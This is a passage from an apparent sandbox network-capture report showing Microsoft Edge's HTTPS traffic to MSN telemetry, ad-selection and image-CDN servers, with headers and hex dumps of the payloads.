2024-11-17 02:42:40 UTC	3808	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 37 54 30 32 3a 34 32 3a 33 38 2e 38 32 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 32 64 30 38 32 36 66 2d 61 61 39 64 2d 34 37 34 37 2d 62 30 36 31 2d 63 32 65 62 62 34 35 31 38 61 62 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 34 34 36 31 36 37 32 38 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-17T02:42:38.822Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"b2d0826f-aa9d-4747-b061-c2ebb4518ab8","epoch":"1446167283"},"app":{"locale
2024-11-17 02:42:41 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9797e8a4a4644b78bf9292540946bceb&HASH=9797&LV=202411&V=4&LU=1731811360993; Domain=.microsoft.com; Expires=Mon, 17 Nov 2025 02:42:40 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f3ee4b52205b4ca4b645e76be8c2a79b; Domain=.microsoft.com; Expires=Sun, 17 Nov 2024 03:12:40 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2165 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 17 Nov 2024 02:42:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49875	20.96.153.111	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:40 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=024D4A803FDA694A0F455FBA3E2B6876&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=75927ca130d64e2facfa627b5426a786 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1
2024-11-17 02:42:41 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 17 Nov 2024 02:42:40 GMT Connection: close
2024-11-17 02:42:41 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49881	104.117.247.168	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:41 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 Last-Modified: Fri, 11 Oct 2024 13:06:19 GMT X-Source-Length: 76988 X-Datacenter: westus X-ActivityId: 11874a3c-047d-456e-bfb6-42599b341a3f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 76988 Cache-Control: public, max-age=383215 Expires: Thu, 21 Nov 2024 13:09:36 GMT Date: Sun, 17 Nov 2024 02:42:41 GMT Connection: close
2024-11-17 02:42:41 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-17 02:42:41 UTC	16384	IN	Data Raw: c5 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 6c Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=zl
2024-11-17 02:42:41 UTC	1995	IN	Data Raw: cf 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 48 Data Ascii: .LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SWH
2024-11-17 02:42:41 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-11-17 02:42:41 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG A:]i}12~BR
2024-11-17 02:42:41 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-11-17 02:42:41 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49877	104.117.247.168	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:41 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=351214 Expires: Thu, 21 Nov 2024 04:16:15 GMT Date: Sun, 17 Nov 2024 02:42:41 GMT Connection: close
2024-11-17 02:42:41 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49878	104.117.247.168	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:41 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=341304 Expires: Thu, 21 Nov 2024 01:31:05 GMT Date: Sun, 17 Nov 2024 02:42:41 GMT Connection: close
2024-11-17 02:42:41 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49880	104.117.247.168	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:41 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 14 Nov 2024 01:05:02 GMT X-Source-Length: 5699 X-Datacenter: westus X-ActivityId: 17b03347-bb6f-457d-a77b-dd718d1aee67 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=166978 Expires: Tue, 19 Nov 2024 01:05:39 GMT Date: Sun, 17 Nov 2024 02:42:41 GMT Connection: close
2024-11-17 02:42:41 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49879	104.117.247.168	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:41 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=123865 Expires: Mon, 18 Nov 2024 13:07:06 GMT Date: Sun, 17 Nov 2024 02:42:41 GMT Connection: close
